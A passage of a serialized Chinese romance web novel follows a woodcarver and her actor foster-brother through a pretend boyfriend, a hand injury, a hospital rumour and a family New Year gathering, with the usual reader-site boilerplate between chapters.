孟竞帆挂了电话,径自拿了车钥匙出了门。 第286章 孟程(20) 孟棠从馆内回家,正好碰到了急匆匆的孟竞帆。 “干嘛去?” “找小鱼,到现在都没回。” 说着,孟竞帆就要越过孟棠,被她抬手拦了下来。 “妈?”孟竞帆蹙眉。 “小鱼28了,不是8岁。”孟棠冷淡道,“她和朋友在外面,你去就是打扰。” “我怎么打扰了?”孟竞帆蹙眉,“我不过是担心她罢了,她看着伶俐精明的,其实挺傻的,谁都能骗一下。” “孟竞帆,你现在出于什么立场和身份在关心小鱼?” “为什么都这么问?”孟竞帆蹙眉,“难道她谈了恋爱,我以后就跟她老死不相往来吗?” “没——” “师父,你俩站这儿干什么?” 孟棠的话被回来的程逾打断,孟竞帆偏头,看到了程逾的“男朋友”。 张延和孟棠比较熟悉,打了声招呼后,转头朝孟竞帆伸手:“你好,我叫张延,你就是小鱼的弟弟竞帆吧?” 孟竞帆瞥了眼程逾:“你男朋友?” “呃——”张延一愣。 “嗯。”程逾率先点了头。 随后空气陷入了诡异的沉默里。 孟竞帆笑了笑:“长得挺帅的,谈多久了?” “不久。”程逾说,“不到一个月。” “哦,恭喜啊。”孟竞帆说。 “谢谢。” 孟棠拉住孟竞帆的胳膊:“回去吧,给他俩留个告别的时间。” 孟竞帆和张延微微颔首,转身上了台阶。 屋前只剩下程逾和张延,张延欲言又止地看着程逾。 “不好意思,拿你挡枪了。”程逾坦率道。 张延失笑:“我猜到了,不过我能知道原因吗?” “你知道我跟孟竞帆录过一档综艺,cp粉蛮多的,就……有点困扰吧,你也知道我这身份……” 张延点了点头:“我理解你的难处,我不介意你拿我挡枪,只是可惜,你要真是我女朋友就好了。” 这还是张延第一次明确表达这样的想法,程逾抬眸问他:“你真喜欢我?” 张延点了点头:“不到特别喜欢吧,但好感是有的,我比较喜欢这种慢条斯理的过程,现在的人,不管做什么都太快了,婚姻更是一辈子的事,我不介意慢慢来。” 不怪孟棠也觉得张延不错,性格不张扬,做事也稳重,情绪稳定,包容斯文。 程逾避开了他坦荡的视线,要是她也喜欢他就好了。 要不试着谈一下?感情也可以培养出来的。 “要不……” “别。”张延阻止,“我知道你在想什么,我说了不介意,咱们慢慢来吧。” 程逾只好放弃了“培养感情”的想法,她叹了声气:“那我就不送你了。” “好,晚安。” “晚安。” 程逾回到院落,下意识看了眼孟竞帆的房间,灯亮着,这个点不是在看影片就是打游戏。 窗户忽然被打开,孟竞帆趴在窗口上,问她:“都谈一个月了,你不够意思啊。” 程逾皮笑肉不笑:“不稳定啊,就没说。” “哦,所以今晚我要是没碰到,你还是不说呗。” “可能会说吧。”程逾看向他,“又不可能一直瞒着。” 孟竞帆点点头:“你喜欢他吗?” 一句“喜欢”堵在喉咙,她喜欢吗?她当然不喜欢,就连张延自己都知道。 明明撒一句谎就行,但程逾却说不出口。 她找补道:“喜不喜欢不重要,合适才重要。” “喜欢最重要。”孟竞帆纠正她,“合适不过是自欺欺人的借口罢了。” 孟竞帆想象不出要和一个自己不喜欢的人生活一辈子。 人生苦短,要一生面对一潭平静的水,毫无波动,想想都令人窒息。 所以他不理解程逾所说的合适,在他看来,楚茵和魏立峰不是合适,魏思沅和赵疏白不是合适,魏川和孟棠不是合适…… 突然到她这里要“合适”了,魏川真的不理解。 在她看来,程逾什么也不缺,就算谈恋爱结婚,也得找个自己喜欢的。 “我跟你不一样。”程逾说。 孟竞帆回视她:“哪里不一样?我妈对你和对我没什么区别。” “还是不一样的。”程逾说,“我对师父的态度不可能像你一样理所当然。” “这么多年,你都没把自己当孟家人?”孟竞帆有些不可思议。 “你别曲解我的意思。”程逾说,“我对师父永远都有一份责任,这份责任,是师父期望我在这一行做到的高度,所以我不可能理直气壮,你不妨换位思考一下,是不是能做到师父对你好一点,你就能肆无忌惮?” 孟竞帆蹙眉。 “好了,我回房睡觉了,你也早点休息吧。” 孟竞帆欲言又止,最终看着她的背影消失在院中。 翌日一早,孟棠和魏川早早起了床。 孟竞帆拿了车钥匙:“爸妈,我送你们去机场吧。” 今天他们要去国外接魏云舟,孟竞帆其实不太赞成他们来回折腾,但魏云舟这小子面上冷,性格别扭,可面对父母的爱又会暗爽,魏川早把他性格摸透了,每次都得满足一下,不然魏云舟回来会冷酷地耍性子,让你围着他猜来猜去。 这小子浑身都是小心眼。 到了隔壁市的机场,魏川吩咐孟竞帆:“这几天家里就剩你和小鱼,你俩都不会做饭,直接去下馆子,不许跟她针尖对麦芒,多大的人了,好歹也是男人,让着点知道不?” “我哪次没让。”孟竞帆嘀咕了声,“赶紧的吧,我要回了。” 魏川和孟棠下了车,孟竞帆驱车返程。 回来的时候冷锅冷灶,他一双黑眸盯着程逾:“饭呢?” 程逾指了指垃圾桶:“在那儿。” 孟竞帆狐疑看过去,一团黑暗的看不出形状的物质静静躺在垃圾桶里。 “做的什么?”孟竞帆忍着笑问。 “炸鱼饼。”程逾面无表情地回。 孟竞帆起身,挤开她:“等一会儿。” “干嘛?”程逾惊奇地看着他,“你会啊?” 孟竞帆从储物篮里找到了意面,说:“这个好做,煮熟拌一下就行,我在剧组做过。” 程逾站到一旁,肚子叽里咕噜响了许久。 “你傻啊,为什么不点外卖?”孟竞帆简直无语。 “不爱吃。” “呵呵,你还没有资格嫌弃外卖。” 程逾白了他一眼:“这几天还是下馆子吧,总不能天天吃意面。” “行。” 第287章 孟程(21) 现成的意面煮一下没什么含金量,孟竞帆也确实会。 程逾接过叉子,和他面对面而坐。 餐厅里有一大一小两张木桌,他俩现在趴着的是小餐桌。 “你上热搜了,知道吗?”程逾问。 孟竞帆抬眸:“什么热搜?” “你没看手机?”程逾拿出手机给他看,“你坐三轮车回家上热搜了。” 孟竞帆早就看见了,他看向程逾:“你不是不爱上网?” “看你呗。”程逾下意识说,说完又觉得不太对劲,因为孟竞帆不动筷子了。 “你还挺关心我。”孟竞帆轻笑。 程逾哼道:“废话,我是你姐。” “你是谁姐?”孟竞帆说,“我记得小时候,我妈让我叫你姐,我死活不叫,不知道你还记不记得。” “记得。”想起小时候,程逾的表情一瞬温柔下来,“你小气鬼一个嘛,生怕我抢了师父对你的关注。” “给你也害怕。”孟竞帆说,“突然冒出来一个姐姐,谁能接受得了,我告诉你啊,很长一段时间里,我都不喜欢你。” “看出来了。”程逾笑道,“小胖墩小眼神斜斜地盯着我,还暗地里给我使绊子。” 孟竞帆干咳了声:“谁胖了?” “我房间里有相册,你确定要看?”程逾语带威胁。 孟竞帆摇了摇头:“可你后来不也见招拆招了,还趁我爸妈不在使唤我。” “那是因为你爱我跟前凑,不然我才懒得理你。”程逾抽了张纸巾擦了擦嘴,“不过你小时候记事也太早了。” “我小时候可不喜欢你呢。”孟竞帆说。 “我当然看得出来,不过我很感激师父收留我,所以懒得跟你计较。” 程逾以为他在跟自己说真心话,吃完饭也没走,继续跟孟竞帆闲聊: “所以上小学的时候,你有同学问我是不是你姐姐,你直接否认了?那时候你已经回z市上学了,说实话啊,那会儿我听你这么说,我还挺伤心的。” 她再怎么懂事也还是小孩,和孟棠去了几次魏家后也渐渐放开了自我。 乍然面对孟竞帆这样一句话,不伤心肯定不可能。 “我只不过一直喊你名字,但心里把你当孟家人,后来有人欺负你,是不是我给你出头的?” 孟竞帆扬起下巴,有种邀功的架势。 喊她名字习惯了,再让他改也改不过来。 他和程逾动不动就要怼两句,行为模式从小时候就落成的,以至于两人都是嘴硬心软。 其实在外人看来,这俩感情比谁都好,这话是魏思沅说过的。 起初没人放在心上,觉得他俩感情好很正常,从而忽略了这俩有些越界的相处模式。 直至到了谈恋爱的年纪,才显露出问题来。 但察觉到的往往不是最亲近的人,而是旁观的人,比如苏琪和张雨年。 一档综艺,也让孟竞帆和程逾身边的人意识到了问题,包括他们自己。 “是是是,是你出头的。”程逾不想跟他再扯一些有的没的,“你慢慢吃吧,我去工坊,接了个活儿。” “骗鬼呢,都快过年了还接什么活?躲我就说,你要是说你谈了恋爱,从此以后不想看见我,我绕着你走不就成了?找那么多借口干什么?” 程逾回眸,发现孟竞帆一脸认真,好像她说一句是,他真能从此以后绕着她走。 程逾想笑,这里是孟家,他姓孟,要让他在家里绕着她走,她成什么了?霸王吗? “你还总说云舟小心眼,我只能说,你俩不愧是兄弟。”程逾吐槽。 孟竞帆哼了声,起身走到程逾面前:“饭我做的,碗你洗。” 程逾:“……” 认命地刷了碗,程逾出了厨房,却发现孟竞帆蹲守在院中。 “你举着手机干什么呢?” “营业。”孟竞帆略有死感地说。 程逾:“……那你还是别营了,就算拍了也不是发自内心的高兴,粉丝又不是傻子。” “你说得对。”孟竞帆将手机给程逾,“你给我拍,你窗户底下的灯光好,给我拍几张就行。” 这种级别的长相随便拍拍都好看,程逾欣然接过手机,帮他拍了起来。 她以前也不是没帮孟竞帆拍过照片,属于得心应手,当然,这是程逾自己的错觉。 “你看看行不行。” “帅。”孟竞帆自恋道,“就这么发吧。” 程逾指了指屋子:“那我休息了。” 孟竞帆点了点头。 五分钟后,孟竞帆全平台营业,五张照片,一则文案——院中,树下。 没一会儿,粉丝闻风而动,纷纷上赞。 孟竞帆也没下线,想着挑几个回复一下,哪知cp粉成了精—— “院中,树下,这文案怎么那么暧昧呢?” “我觉得缺少了两个字,应该是院长,树下,和你。” 这条评论被点了上去,底下人纷纷评论“甜菜”。 “我不说是谁拍的,大家都别说。” “哇哦,好明显啊,我看不出来。” “这拍照角度,生怕不知道是小鱼拍的吗?哈哈哈。” 孟竞帆一惊,这也能知道? “到底在嗑什么?他俩是姐弟好嘛?” 孟竞帆心境难言,因为这条评论下全都是“嘿嘿嘿,那更好嗑了”。 孟竞帆闭了闭眼,无奈地笑了声。 他挑选几个正常的评论回复了下,然后下了线。 张延让程逾受伤 第288章 孟程(22) 程逾还是用小号去看了孟竞帆的新动态,评论区都不能看。 “怎么就知道是我拍的?”程逾咬了下手指,回复了其中一条。 那人很快回复:你看没看终极竞速?小鱼给帆帆拍照的角度就是这样的。 程逾想起录制期间,自己也给孟竞帆拍过照。 当时也是发了动态,还明说了是她拍的。 这下有了对比,怪不得一个个变身侦探。 程逾关掉了手机,躺在床上睡不着。 或许当初,她就不应该参加这个综艺,现在后悔也来不及了。 她和孟竞帆的关系看似从前,却已不似从前。 实在睡不着,程逾叹了声气,起身去了后院的工坊。 淡淡的木香稳定了程逾的心神,她拿起刻刀,在一块木头前细细比划。 沉浸其中,前院的叩门声全然听不见,还是孟竞帆去开了门。 一见是张延,孟竞帆笑意微敛:“跟小鱼约好的?” “不知道为什么,打她电话没人接。”张延有些不好意思,他向孟竞帆介绍身旁的人,“这是我朋友,叫乔松清,明年订婚,想要订一件寓意好的聘礼。” 孟竞帆朝对方伸手问好:“怠慢了,里面请。” 乔松清客气一笑:“不碍事,是我贸然上门,打扰了。” 真要计较起来,确实是他和张延打扰了。 孟竞帆将人带到院中,引入正厅坐下后,径自去程逾的房间找她,却只看到落在桌上的手机。 孟竞帆将手机拿上,又回到正厅说:“小鱼在工坊,我去给你们泡茶,稍等一下。” “别。”张延起身,“我俩跟你一道吧。” 乔松清也站起来:“我对工坊很感兴趣,可以参观一下吗?” 孟竞帆点了点头:“跟我来吧,只不过后院很远,还请小心脚下。” 几人进了北院的工坊,一眼看到了窗前在精雕细琢的程逾。 木屑飞舞,尘霰漫天,刻刀转折间利落干脆。 程逾听到脚步声,停下手边的动作,看到陌生面孔,疑惑地看向孟竞帆。 孟竞帆上前,说:“张延的朋友,想要订明年的聘礼。” 孟棠放下刻刀,和对方打了招呼:“这边不是说话的地方,去前厅茶室吧。” “好。”张延应了声。 程逾平时挺爱弄些茶水的,很熟练就给四个人斟了茶水。 她说:“咱们开门见山,你说要求就是。” 乔松清说:“我跟女朋友感情挺好的,算是青梅竹马,中间分过,又复合了,到今年第七年了吧,她喜欢木雕,我就想订一个成双成对的。” 程逾瞥他一眼:“这个简单,传统吉祥题材里的瑞兽、植物和器物有很多成双成对的,例如龙凤、并蒂莲、和合二仙……” “不要大件,精巧小件为好,可以随身携带的。”乔松清提出第一个要求,“我觉得龙凤呈祥、鸳鸯并蒂这些,流于俗套了。” 程逾没有直接回答,起身跟乔松清说:“稍等。” 乔松清不明白她去干什么了,孟竞帆说:“乔先生,喝茶吧,小鱼马上就回来。” 乔松清应了声,给了张延一个“你怎么一点不了解程逾”的眼神。 程逾去了一趟后院的木料房,在最后一排找到了一块还没雕琢的黄杨木瘤疤料。 再次回到前厅,程逾脸上多了点笑容。 她将料子给乔松清看了眼,说:“象钮对章,你觉得怎么样?” “对章?”乔松清不懂行,“有什么寓意吗?” “既然是下聘的礼物,就以木印为信。”程逾掏出身上的本子,用铅笔快速勾勒出两个方正的印章轮廓,“一阴一阳,一朱一白,是暗合夫妻之道的,希望你们相辅相成,白头偕老。” 乔松清来了兴趣,他指了指印章的顶部:“这里是不是有雕刻?” 程逾点了点头:“就刻‘连理枝’与‘合欢藤’吧。” 这两个很好理解,连理枝,源自‘在地愿为连理枝’的典故,本就象征夫妻情谊坚不可摧。 而合欢藤,昼夜不离,合欢美满。 乔松清说:“挺好的,我觉得我女朋友会喜欢。” 程逾“嗯”了声:“这个时间不算长,但我年底很忙,你的单子要到明年开春才能抽出空,出粗坯的时候会让你们确认。” “行。” 乔松清没有多坐,一盏茶的功夫就起了身。 张延自然也跟着乔松清走了。 待孟竞帆和程逾回了院子,乔松清在大门口站定,他转头对张延说: “你有没有感觉这位大明星有一种……嗯,怎么说呢……有一种他是这里男主人的掌控和炫耀感?” “嗯?”张延一愣,“为什么这么说?” “这话我还想问你呢?我为什么要这样觉得?”乔松清觉得不可思议,“而且这里本来就是他的家,人家也确实是男主人。” 张延干咳了声:“你有没有觉得,他对我有点冷淡?” “正常吧,谁让你跟人家姐姐谈恋爱?”乔松清笑话他。 张延笑了声:“这小子可没叫过小鱼姐姐,都是直呼其名。” “好像还真是。” 孟竞帆不知道外面那两人在研究他,径自去了后院,“小鱼”还没叫出口,被满地鲜红吓得差点晕过去。 “受伤了?”孟竞帆如遭电击。 “没事,别喊。”程逾十分淡定地消毒包扎,“怪我自己,雕刻的时候心不定。” 孟竞帆脸色沉了下来:“你要是想跟张延出去就去,别一副心不在焉的样子,还顶着这副样子去雕刻,我都知道雕刻时要心无旁骛。” “你以为我这样是因为张延?”程逾反问。 “不然呢,难不成还是因为我?”孟竞帆有点烦,“赶紧把你的破刀扔了,跟我去医院。” “没事吧?”程逾晃了下手,“我感觉过几天就好了。” 孟竞帆呵笑:“我感觉你要完了。” “行,去就去。”程逾知道他不会再善罢甘休,索性答应,“走啊,还愣着干什么,去开车。” 孟竞帆这才将目光从她手上移开,伸手握住程逾的胳膊,将人带出后院,上了车后,直奔医院。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第289章 孟程(23) 程逾不是第一次被刻刀伤,但却是第一次因为刀伤来到医院。 以往孟棠都会千叮咛万嘱咐,家里也有急救包,她也是第一次划伤出那么多血。 可能伤口看着深,以至于孟竞帆硬要拉着她去医院。 “别一副不情愿的样子。”孟竞帆将她塞进副驾,“我妈的手你看见没有,不也有一道伤疤,据说当时涂了不少祛疤的,但仔细看还是有的。” “我对疤不疤的不在乎。”程逾举起自己的手,“反正也不好看。” “我在乎行了吧。”孟竞帆“嘁”了声。 程逾用她受伤的手去拉安全带,被孟竞帆拦住:“受伤就自觉点,好好坐着。” “卡住了。”程逾说,“我给它拽出来。” “我来,别又二次受伤了。”孟竞帆倾身拽住安全带,一个使劲将卡住的安全带拽了出来,咔哒一声给她系上。 孟竞帆轻笑,朝程逾扬了扬眉,一副讨要表扬的模样。 可离得近,程逾一下僵在了原地,下意识贴着椅背。 孟竞帆无知无觉:“你这什么表情?谢都不知道说?” “谢了。”程逾偏过头,抬手推他,“赶紧开车。” 不知道是不是看错了,程逾的耳朵根红了些,不过他也没心思计较了,赶紧启动车辆向医院驶去。 程逾的伤口不算深,医生给她进行了处理,又叮嘱了一些事宜。 她自己没放在心上,孟竞帆倒是听得认真,丝毫不知道他俩被拍了。 出了医院的门,孟竞帆看了眼时间,说:“正好饭点,去吃饭?” “吃火锅吧。”程逾眼神亮晶晶的,“好久没吃了,这天气吃着正好。” “行,不过你只能吃不辣的锅底。”孟竞帆说。 程逾撇嘴,孟竞帆提前声明:“你不愿意就回家吃吧,医生怎么叮嘱的你心里没数?” 程逾看了眼自己的手,妥协了:“行行行,我吃番茄的行吧?” 孟竞帆给她拉开车门:“上车。” 程逾哼了声,不情不愿地上了车。 市中心有一家老火锅,程逾和周淼总会去,她直接给店里打了电话,让给留一个位置。 两个人没有包厢,只能坐大厅。 鉴于孟竞帆是公众人物,程逾和店里协商,要了个角落的位置,进去的时候人还不算多。 程逾指了指对面:“你坐这儿吧,背对着整座大厅,别人也认不出来你。” “行。”孟竞帆在他对面坐下,“我来点,别给我阳奉阴违啊。” 程逾将手机翻转给他看:“我扫码看一下我的积分,没要点单。” 孟竞帆扫了点单码,麻利地点了锅底和菜。 程逾基本不挑,但相较蔬菜,更爱吃肉。 孟竞帆和她一起长大,自然知道她爱吃什么。 半晌,程逾朝他伸手:“我看看你点了什么,别点的都是自己爱吃的。” 孟竞帆“嘁”一声,将手机递过去:“你以为我是你。” 程逾看了菜单后微微愣住,都是她平常吃的,她有些尴尬地将手机递过去: “怎么点的都是我爱吃的,你自己的呢?” “我也不能因为过年就放纵吧?”孟竞帆说,“年后还有很多商业活动,得维持体重。” “当明星真可怜。”程逾开玩笑,“吃喝都不受自己控制。” “你这话要是放到网络上,一堆攻击你的信不信?” “我信啊,你们赚得多呗。”程逾给自己倒了杯水,“但我觉得赚多少都是自己的本事,不要拿出来卖惨就行,你看你,也不缺钱,单纯就是喜欢演戏罢了。” “还得感谢小姑带我进行。”孟竞帆说,“起初爷爷奶奶是不大愿意我进这行的。” 谁愿意送大孙子去这行吃苦,程逾挺理解的,她单手撑着下巴,问孟竞帆: “如果你当初没干演员这行,你现在会做什么?” 孟竞帆摇摇头:“这谁知道,我妈一开始还想让我把黄杨木雕传承下去呢,结果一模,我天赋奇差。” 程逾忍着笑,其实从他名字就看出来师父和老爷子对他寄予厚望,奈何天赋这东西,完全是老天爷赏饭吃。 有就有,没有就没有。 做手艺想要做到行业翘楚,没点天赋是不行的。 服务员送上了锅底和菜,孟竞帆起身说:“我去给你调个料。” “我自己去吧。”程逾说。 “老实坐着吧,到底知不知道自己手受伤了。” 程逾无言以对。 她以往的蘸酱必须有辣椒,这次孟竞帆什么也没给她弄,只弄了个清淡口蘸料。 “这怎么吃啊?”程逾撇着嘴,“一点味道都没有。” “还没有味道?”孟竞帆无语,“你就直说要吃辣的呗,要不这样,等你手伤好了咱们再来?” 程逾叹了声气:“好吧。” 孟竞帆轻笑:“怎么比我小五岁似的,吃吧,我给你涮。” 程逾抬眸:“你是不是通过给我涮东西解解馋?” 毕竟很多东西也不能吃,光涮清水的还不如不吃。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“是是是,你说了算。”孟竞帆给她涮鲜货,“赶紧吃吧。” 程逾早就饿得不行,不用自己涮可太爽了,还好右手没受伤,她埋头狂吃。 孟竞帆自己也吃了点,不过完全没有油水。 要是过年后上镜胖了,指不定又得被嘲成什么样,既然做了这行,操持样貌和身材是最基本的职业操守。 他粉丝很喜欢他这点,无论什么时候,见到孟竞帆都是帅的,不用硬着头皮夸。 程逾这一顿吃得心满意足,等她吃完的时候,火锅店已经坐满了人,外面还有一堆排队的。 她和孟竞帆来得早,是第一批,这会儿吃完了,肯定要把位置让给别人。 程逾起身拿了衣服,说:“走吧,外面还有好多人等着。” 孟竞帆拿了一旁的鸭舌帽给自己戴上:“走。” 快接近门口的时候,进来一群年轻女孩,几个人聊天没注意,其中一个女孩被绊倒,孟竞帆下意识伸手扶了下。 就这一下,他被发现了。 “孟竞帆?” 孟竞帆压下帽子:“你认错人了。” “这是小鱼吧,我没认错。” 孟竞帆:“……” 程逾也没想到对方还能认识她,这样的场面她也没见过,只能看向孟竞帆,现在是走还是不走? 孟竞帆刚要越过她们,女孩们兴奋地将他拦了下来: “可不可以合影?” “可不可以签名?” “你们俩约会吗?” “……”各种问题接踵而至。 孟竞帆抬起手:“抱歉,能不能让一让,现在人太多了,也不适合签名和合影。” “就拍张照。”女生们可怜兮兮地哀求了声。 孟竞帆蹙眉,前后左右一群人,又是火锅店门口,实在不适合拍照妨碍路人。 他指了指外面:“去那边行吗?” 可这些女孩一起来吃火锅的,这会儿出去的话,又怕待会儿进不来。 而且她们的动静引起了不少人的注意,这会儿,孟竞帆和程逾基本被包围了,所有人都拿着手机对他们拍拍拍。 就连不明所以的路人也跟着一起,拍完还发送到群里,说遇到明星了,赶紧来看。 孟竞帆一把扯过程逾,将她置于自己右侧,一手搂住她肩膀,一手握着她左手手腕,以防人群碰撞让她的手再次受到伤害。 “抱歉,前面让一让行吗?她手受伤了,不能挤。” 有些人还是有点理智的,但也有不理智的。 有人退就有人进,孟竞帆无奈地拥着程逾踱步。 五分钟了,愣是没出火锅店的大门,最后孟竞帆只能无奈求助店员。 经理迅速组织店内员工进行了控场,在多方安抚下,人群才渐渐让开。 程逾被挤得一身汗,终于上了车后,才说了一句:“你们这工作真不是人干的。” 孟竞帆手机在这时响起,看着经纪人的来电,他对程逾的话深有同感。 他也没想到经纪人的消息能这么快,不过还是网络太发达了。 孟竞帆接了经纪人的电话。 “你今天去医院了?” 孟竞帆一愣:“你怎么知道?” “还我怎么知道?”经纪人无奈,“你上新闻了呗,说你女朋友怀孕了。” 孟竞帆看向程逾:“我女朋友,谁啊?” 程逾也好奇地撇过头。 “程逾呗,还有谁?” 经纪人的话在狭小密闭的空间里传自程逾耳朵里,她猛地睁大眼睛,喊道:“他女朋友是谁?” 孟竞帆赶紧按了免提,问:“为什么会有这样的新闻?” 经纪人:“所以你今天去医院干什么了?赶紧澄清一下,你的粉丝都开始闹着要脱粉了。” 孟竞帆满脑子黑线,说:“小鱼的手被刻刀划伤了,我带她去医院,我爸妈都不在家。” “行,就按事实澄清。”经纪人说。 孟竞帆回:“我回去发图文澄清,对了,我刚才和小鱼在火锅店,可能也被拍到了网上。” “没事,你俩一看就是从医院出来一起吃饭的。”经纪人说,“不过孟竞帆,你真的不能和她捆绑了,要不你发个声明说一下,你俩是姐弟的关系?” 程逾抢答:“我同意,还有那个超话,你们真的弄不掉吗?” “怎么可能弄不掉,还不是——” “我自己跟她说。” 孟竞帆挂断了经纪人的电话。 程逾多聪明啊,一点就透,她看着孟竞帆:“是你不让端的?” “我以前不是有个剧里cp吗?都多少年了,对方还一直扒着,我就想拿我们俩对冲一下。” 程逾哼笑:“利用我是吧?” 孟竞帆略有些心虚:“那个,你手疼不疼?” 程逾:“不疼,开车。” 算了,嗑吧,也少不了一块肉。 回到家的时候,孟竞帆没让程逾下车,让她把手伸出来:“我拍个照。” 程逾知道他要澄清,乖乖就让拍了。 孟竞帆这才开了车门,说:“你先进去,我编辑一下。” “好。” 孟竞帆在座位上编辑了十来分钟,检查了两遍,确认没什么问题发送了出去。 很快,孟竞帆澄清的事上了高位热搜,一看就是公司买的。 他拍了照,澄清了缘由,评论区不少人发了今晚火锅店的照片,一下又炸开了锅,关于他搂着程逾的视频迅速发散。 黑粉闻风而动,粉丝据理力争,一晚上都过得很热闹。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第290章 孟程(24) 茶楼,乔松清和张延面对面而坐。 见对方还在喝茶观景,乔松清笑了声:“你还有心思喝茶,女朋友都快成别人的了。” “你是说捕风捉影的娱乐新闻吗?”张延抬眸,“你为什么会认为他们俩会在一起?明眼人不都会说是姐弟吗?” “你看他们的相处像姐弟吗?”乔松清问。 张延说:“一档综艺而已,他们两个的视频哪一个没有经过后期,背景音乐一加,没什么也有什么了。” “你真这样觉得?”乔松清问。 张延沉默片刻,说:“小鱼刚到孟家那一段时间,大家确实都在开玩笑她是童养媳,但她师父不是那样的人,更何况他们差了五岁,我觉得不太可能。” “我还是提醒你一句,一切皆有可能。”乔松清说,“我觉得孟竞帆对程逾是不一样的,有占有欲。” 张延决定洗耳恭听,示意乔松清继续说。 老宅里,程逾趴在床上晃着腿,用没受伤的那只手翻着书。 乔松清看似没要求,实则几句话下来,程逾觉得这个人还是很挑剔的。 一块木头成为美满聘礼,程逾想要完美一点。 其实她对这个活挺感兴趣的,只是可惜,手受伤了。 还有两天过节,只能等来年。 而孟棠他们,要等除夕才能回到雁清。 家里交给他俩,也就是这个年怎么过,他俩说了算。 程逾和孟棠早就备了年货,她和孟竞帆要做的是布置院落。 年夜饭她和孟竞帆也整不出来,是提前定制的上门服务。 程逾因为手受伤,被孟竞帆限制了不少行动,就比如她要拿“福”去贴时,被他一把抢走了。 “这边高,你去贴水缸吧。” “倒着贴啊。”程逾指了指门槛,“福到福到。” “知道。”孟竞帆说,“又不是没贴过,你那个水缸贴完就老实待着,自己的手多金贵不知道啊。” “知道了。”程逾敷衍了声。 忙到现在,程逾肚子饿了,她去厨房拿了昨晚剩下的糖糕,边吃边看着孟竞帆站在梯子上挂灯笼。 孟竞帆转头瞧见,气笑了:“就知道吃,也不知道扶着点。” 程逾鼓着腮帮子走过去,帮他扶着梯子,仰着头问:“你吃糖糕吗?” “吃。”孟竞帆一点没犹豫吧,“给我留点。” “最后一块了。”程逾笑道,“我都咬了一口了。” 以往她这么说,笃定他不会再要,哪知道孟竞帆往下踩了几格,长臂一伸将糖糕抢过去,一口塞进了嘴里。 “哎,那是我吃过的。”程逾阻止不及,有些懊恼,“你——” “我怎么了?”孟竞帆白了她一眼,“你小时候还让我吃你剩饭你怎么不说?” 程逾:“……都多大的事了你还记得。” “那你有本事别贪吃。”孟竞帆继续跟她斗嘴,“每次吃不完还什么都要尝尝。” “我早改了这毛病好吧。”程逾说着双手扶着梯子。 孟竞帆瞧见她的手,说:“差不多了,歇着去吧。” 程逾看了看自己的手,说:“没事,给你拿拿灯笼对联还是可以的。” “行,我马上贴春联,你帮我看一下。” “门上的松鹤延年木雕看见没有。”程逾抬手指了指,“对着正中央就成了。” “我试试。” 上面和下面的视觉角度不太一样,孟竞帆好几次都贴歪了,程逾就站在下面指挥,终于服服帖帖,板板正正。 邻居这时候过来串门,说做了豆浆,送给他们尝尝。 每年都是这样,邻里礼尚往来,孟棠也没少送东西给左邻右舍。 “谢谢李嫂。”程逾接过道了谢。 “小鱼,你师父什么时候回来啊?就留你俩在家里,跟小孩过家家似的。” 程逾:“……今天下午就回了,再说我都快30的人了,怎么可能像小孩呢。” “你长得显小……”邻居一连夸了好几句,话题一打开,刹都刹不住。 程逾不好意思打断,一边干笑一边朝孟竞帆投去求救的目光。 孟竞帆从梯子上下来,拍了拍手,说:“李嫂,咱家小鱼可不是什么谦虚的人,您再夸下去,我家屋顶要被掀了。” “瞎说,我看小鱼挺谦虚的。”李嫂终于将目标转移到孟竞帆身上。 孟竞帆也不可能撵人,一边干活一边回应几句,直至门口传来动静。 程逾眼眸一亮:“师父回来了。” 李嫂:“听着动静是像,我跟你一道去看看。” 程逾刚要门口,和孟棠在影壁前碰到。 “师父,你们回来了。”程逾高兴地迎了上去,“川叔呢?” “在后面拿东西,你小姑一家也来了,去迎一迎。” “好。” 程逾刚要走,孟棠一把拉住她手腕:“怎么回事?你手受伤了?” “没事。”程逾抽回手,“一点小伤,我已经去过医院了。” 孟棠问:“竞帆陪你去的?” 程逾怀疑孟棠看到了娱乐新闻,她一时有些尴尬,眼神微微躲避了下,点了点头:“嗯。” 这章没有结束,请点击下一页继续阅读!魏思沅和赵疏白带着孩子进了门,问:“你俩站这里干什么?怎么不进去啊?” “刚要去接你。”程逾笑着打了招呼。 “小鱼姐。”魏云舟和魏川拎着东西进了院门。 “天哪!”程逾看见魏云舟吓了一跳,“云舟,十个月没见,你怎么长这么高了?比你哥还高了吧?” 魏云舟矜持地点头:“比我哥高了两公分。” “你这身高在我们这行得往下报两公分。”孟竞帆从后头迎上来,一一打了招呼。 “别站门口了,进去说。”孟棠提醒了声。 院子一下热闹起来,上门做年夜饭的厨师后脚也到了。 魏川将人带进厨房沟通了一番,随后在院子里拉开几张桌子煮茶闲聊。 大人一桌,小孩一桌。 最小的当属魏思沅和赵疏白的小女儿笑笑,小丫头才十岁。 程逾给她煮了果茶,又给她剥了牛轧糖递过去。 这些糖都是纯手工做的,小丫头还挺喜欢,搬着凳子几乎贴上了程逾。 “小鱼姐姐,你的手受伤了,还是我来给你剥橘子吧。” 程逾揉了揉她的头:“好乖啊。” 小丫头嘿嘿一笑,凑近说:“那你能不能跟我讲一讲你跟竞帆哥哥的事啊?” 程逾一愣:“我俩什么事?” “你俩cp的事啊,说的跟真的一样,我爸妈在家还聊了你们。” “聊了我们什么?”程逾好奇地问。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第291章 孟程(25) 现在小孩挺人小鬼大的,笑笑尤其是,三四年级小姑娘,竟然都嗑cp了。 不过魏思沅“上梁不正”,这小孩整天嗑她爸妈没劲,这会儿将眼神给了程逾和孟竞帆。 “我总是听到妈妈和舅妈打电话,说让你从了。” “从了?”程逾瞪着眼,“谁从谁?” “你从我竞帆哥哥呗。” 程逾呛了下,孟竞帆和魏云舟从别处过来,见此情况,在她后背拍了下:“你说你多大的人了,吃个橘子还能呛着。” 魏云舟淡定落座,顺道帮忙合上了笑笑咧着的嘴。 “干嘛啊?”笑笑转头瞪了眼魏云舟,“我看得好好的呢。” “吃你的。”魏云舟瞥了她一眼。 笑笑敛了笑意:“你别这样看我,怪吓人的。” 魏云舟:“……” 程逾挥开孟竞帆的手,转头看和孟棠聊得正开心的魏思沅,她整天就在小朋友面前说这些吗? 她的小姑啊,整天想些什么呢。 魏思沅察觉到她的目光,扬了扬手上的橘子:“你要吃啊?” 程逾机械地摇了摇头。 